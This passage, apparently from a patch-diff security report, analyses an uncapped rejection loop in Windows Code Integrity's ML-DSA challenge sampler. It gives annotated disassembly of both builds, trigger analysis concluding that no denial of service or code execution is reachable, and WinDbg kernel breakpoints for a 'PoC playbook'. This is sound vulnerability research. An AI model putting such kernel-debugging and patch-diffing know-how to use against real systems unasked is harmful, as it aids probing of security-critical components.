&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0dc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; read poly[jv]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0e0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; poly[i] = poly[jv]  (swap)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0e2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0e4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;not&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0e6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x7fe000&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0ec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0ee&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x4&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; advance output ptr&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0f2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0f4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; poly[jv] = ±1 with sign&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0f8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x100&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0fe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x18002a0a1&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; outer loop continue&lt;/span&gt;
&lt;span class="c1"&gt;; === END UNCAPPED LOOP REGION ===================================&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a100&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xf0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a105&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a10a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x180011840&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; SymCryptWipeAsm: wipe sponge&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a10f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a113&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a116&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x18002c1f0&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; __security_check_cookie&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a11b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x138&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a122&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a124&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a126&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a127&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a128&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a129&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a12a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Annotations&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x18002a092&lt;/code&gt;: &lt;code&gt;i = 0x100 - ctx[0x18]&lt;/code&gt; — &lt;code&gt;ctx[0x18]&lt;/code&gt; is &lt;code&gt;tau&lt;/code&gt;, the number of nonzero challenge coefficients (39 / 49 / 60 for ML-DSA-44 / -65 / -87). This fixes how many indices the outer loop covers.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x18002a0a6&lt;/code&gt;: in the patched build this address receives &lt;code&gt;mov edi, r14d&lt;/code&gt; (counter init) / &lt;code&gt;cmp edi, 0x79&lt;/code&gt; / &lt;code&gt;jnb error_exit&lt;/code&gt; and an &lt;code&gt;inc edi&lt;/code&gt;. &lt;strong&gt;In the unpatched binary this slot is &lt;code&gt;xor r9d, r9d&lt;/code&gt;&lt;/strong&gt; — no counter, no comparison.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x18002a0b6&lt;/code&gt;: SHAKE256 squeeze call (&lt;code&gt;SymCryptKeccakExtract&lt;/code&gt;). In practice invoked only a few times per index.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x18002a0c0&lt;/code&gt; / &lt;code&gt;0x18002a0c2&lt;/code&gt;: the reject comparison + backward jump. Uncapped in the unpatched build, but bounded in practice by the sponge output distribution.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Patched Equivalent (&lt;code&gt;SymCryptMlDsaSampleInBall @ 0x1800273E0&lt;/code&gt;, delta only)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002749b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; counter = 0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002749e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x79&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; NEW: cap @ 121&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1800274a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x180027502&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; set r14d = 0x8008, goto cleanup&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1800274a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; (original code resumes)&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1800274b4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x18002c284&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; SymCryptKeccakExtract (patched address)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1800274b9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1800274be&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; NEW increment&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1800274c0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1800274c2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x18002749e&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; reject -&amp;gt; re-check cap first&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x180027502&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x8008&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; NEW error status&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x180027508&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cleanup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="err"&gt;=&lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;The uncapped loop runs whenever ML-DSA verification (or signing) samples the challenge, so reaching the code is routine; what is &lt;strong&gt;not&lt;/strong&gt; reachable is a stream that makes the loop run long enough to matter.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Reach the sampler.&lt;/strong&gt; Present an ML-DSA-signed PE binary or &lt;code&gt;.cat&lt;/code&gt; catalog to a code path that invokes Windows Code Integrity (for example &lt;code&gt;WinVerifyTrust&lt;/code&gt;, image-load signature verification, or PnP catalog verification), where the ML-DSA verify path recomputes &lt;code&gt;c = SampleInBall(c~)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Seed layout (SampleInBall):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The seed &lt;code&gt;c~&lt;/code&gt; is absorbed by &lt;code&gt;SymCryptKeccakAppend (sub_18002B65C)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The first squeeze yields 8 sign bytes into &lt;code&gt;r15&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ctx[0x18]&lt;/code&gt; (&lt;code&gt;tau&lt;/code&gt;) fixes &lt;code&gt;i = 0x100 - tau&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Why the loop does not spin.&lt;/strong&gt; The bytes tested at &lt;code&gt;0x18002A0C0&lt;/code&gt; are SHAKE256 sponge output. The attacker controls only &lt;code&gt;c~&lt;/code&gt;, and cannot steer the sponge output; it behaves as a random oracle. The per-squeeze rejection probability is at most &lt;code&gt;(tau-1)/256 &amp;lt;= 0.23&lt;/code&gt;, so the probability of even 121 consecutive rejections (the new cap) at the hardest index is on the order of &lt;code&gt;10^-77&lt;/code&gt;. There is no offline search that yields a &lt;code&gt;c~&lt;/code&gt; forcing a long spin, because each candidate seed's output is unpredictable and the target probability is astronomically small.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ordering / race.&lt;/strong&gt; None.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effects:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;In normal operation the inner loop terminates within a few squeezes at each index; the outer loop runs &lt;code&gt;tau&lt;/code&gt; times total.&lt;/li&gt;
&lt;li&gt;No reachable input produces a kernel hang or DPC watchdog bugcheck from this loop.&lt;/li&gt;
&lt;li&gt;In the patched build the &lt;code&gt;0x8008&lt;/code&gt; path (cap reached) is not exercised by any reachable input; it is reserved for a non-terminating or misbehaving sponge.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Primitive(s):&lt;/strong&gt; None demonstrable. The uncapped loop is a CWE-835-shaped rejection sampler, but there is no attacker-reachable input that makes it run long:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The rejection samplers squeeze from a Keccak/SHAKE256 sponge, so there is no attacker input buffer to walk past and no memory over-read.&lt;/li&gt;
&lt;li&gt;The tested bytes are sponge output, not attacker bytes; the attacker controls only the seed and cannot bias the output. Forcing even the 121-iteration cap at the hardest index has probability on the order of &lt;code&gt;10^-77&lt;/code&gt;, so no offline search produces a spinning seed.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tau&lt;/code&gt; is a static per-parameter-set constant, not attacker input, and a smaller parameter set only lowers the rejection probability further.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;From primitive → full exploit:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DoS path:&lt;/strong&gt; Not reachable. There is no feasible way to make the loop exceed a handful of squeezes per index.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Code-exec path:&lt;/strong&gt; Not applicable. There is no memory corruption.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Nature of the change:&lt;/strong&gt; defense-in-depth. The patch bounds each rejection sampler against a theoretically non-terminating or misbehaving sponge and propagates the resulting &lt;code&gt;0x8008&lt;/code&gt; status, consistent with hardening the whole ML-DSA sampler family.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;Target: &lt;code&gt;ci_unpatched.dll&lt;/code&gt; loaded in &lt;code&gt;ntoskrnl&lt;/code&gt;'s CI module (typically mapped as &lt;code&gt;ci.dll&lt;/code&gt; in the kernel address space). Use WinDbg / KD in local-kernel or host-target mode.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp ci!SymCryptMlDsaSampleInBall   ; entry to the challenge sampler
bp ci+0x29FE8                     ; equivalent if private symbols unavailable
bp ci+0x2A0A6                     ; start of the uncapped inner loop
bp ci+0x2A0B6                     ; the SHAKE256 squeeze call site (next insn: 0x18002A0BB)
bp ci+0x2A0C2                     ; the reject backward jump
bp ci!SymCryptKeccakExtract       ; the byte-squeeze primitive called by the loop
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Why these matter:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ci!SymCryptMlDsaSampleInBall&lt;/code&gt; lets you capture arg1 (&lt;code&gt;rcx&lt;/code&gt;), arg2 (&lt;code&gt;rdx&lt;/code&gt; seed ptr), arg3 (&lt;code&gt;r8&lt;/code&gt; seed length), arg4 (&lt;code&gt;r9&lt;/code&gt; output challenge poly) on entry.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ci+0x2A0A6&lt;/code&gt; is the inner-loop head — break here with a hit-count condition to measure how many squeezes each index takes (a handful for any real input).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ci+0x2A0B6&lt;/code&gt; (the &lt;code&gt;call&lt;/code&gt;) lets you watch each byte squeezed.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ci+0x2A0C2&lt;/code&gt; is the reject &lt;code&gt;ja&lt;/code&gt;; count how often it is taken per index to confirm it does not run long.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;What to inspect at each breakpoint&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Breakpoint&lt;/th&gt;
&lt;th&gt;Inspect&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaSampleInBall&lt;/code&gt; entry&lt;/td&gt;
